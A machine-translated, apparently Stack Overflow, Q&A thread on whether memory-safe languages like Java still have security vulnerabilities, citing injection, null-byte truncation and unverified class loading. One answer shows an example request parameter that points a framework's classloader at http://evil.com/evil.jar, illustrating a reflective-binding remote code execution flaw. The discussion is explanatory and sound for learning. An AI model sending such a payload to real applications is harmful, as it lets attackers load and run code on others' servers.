Cha*_*l72 11 c c++ java security exploit
我刚刚读完了CERT工作的Brian Seacord 在C和C++中读取的安全编码.
总的来说,这是一本很好的书,我会推荐给任何尚未阅读它的程序员.在阅读之后,我发现对于所有各种类型的安全漏洞(例如漏洞利用代码注入,缓冲区溢出,整数溢出,字符串格式化漏洞等),每个安全漏洞似乎都归结为一件事:访问不受进程合法分配的缓冲区限制的内存地址的能力.
注入恶意代码或重新路由程序逻辑的能力完全取决于能够访问落在合法分配的缓冲区之外的内存地址.但是在像Java这样的语言中,这根本不可能.可能发生的最糟糕的事情是程序将终止ArrayIndexOutOfBoundsException,导致拒绝服务.
那么在Java等"安全"语言中是否存在任何安全漏洞,无法进行无效的内存访问?(我在这里使用Java作为示例,但我真的很想知道任何防止无效内存访问的语言中的安全漏洞.)
当然,专注于C/C++的书将专注于最常见的漏洞利用.记忆技巧在堆栈上等等.
至于一个语言的"显而易见"的例子,有很多安全空洞,没有任何直接的内存访问......如何使用PHP?除了通常的XSS,CSRF和SQL注入之外,您还可以在旧版本的PHP上进行远程代码注入,因为包含魔法等等.我确定有Java示例,但我不是Java安全专家......
但由于Java安全专家确实存在,我确信有些情况你不得不担心.(特别是,我确信SQL注入也困扰着天真的Web开发人员).
编辑:在我的脑海中,Java确实通过ClassLoader动态加载类.如果您出于某种原因编写自定义类加载器,并且您没有验证.class文件,那么您将打开程序以进行代码注入.如果这个自定义类加载器以某种方式从Internet读取类,那么也可以进行远程代码注入.虽然听起来很奇怪,但这很常见.考虑Eclipse及其插件框架.从字面上看,它是自动加载下载的代码然后运行它们.我承认,我不知道Eclipse的架构,但我敢打赌,安全性是Eclipse插件开发人员关注的问题.
注入恶意代码或重新路由程序逻辑的能力完全取决于能够访问落在合法分配的缓冲区之外的内存地址.
这让我觉得这是对恶意是什么和不是恶意的狭隘看法.例如,SQL注入(或实际上任何类型的注入)不需要缓冲区溢出,并且通常会将恶意代码注入您的系统.然而,这当然是可能的; 例如,某些托管语言将允许其托管字符串类中间的NULL字符.有一些有趣的错误,其中字符串被传递到底层操作系统,其中API是C/C++驱动的,因此在它找到的第一个\ 0处截断字符串,例如,这可能允许您在文件系统中漫游随意因截断错误.
然后是加密,信息泄漏和各种其他有趣的安全错误,不涉及缓冲区...
这是一个有趣的安全漏洞,在Java系统中比在C++系统中更有可能:
假设一个Web框架使用反射从url参数设置对象字段
/update?a=1&b[2]=2&c.x=3&c.y=4
Run Code Online (Sandbox Code Playgroud)
非常方便和强大.它允许遍历任何对象图...
当攻击者向它提供这样的URL时
/update?class.classLoader.ucp.urls.elementData[0]=http://evil.com/evil.jar
Run Code Online (Sandbox Code Playgroud)
游戏结束.整个系统都在攻击者的控制之下.
见http://seclists.org/fulldisclosure/2010/Jun/456
我认为它只发生在春天.有很多Java系统可以将它们的肚子暴露给开放的世界.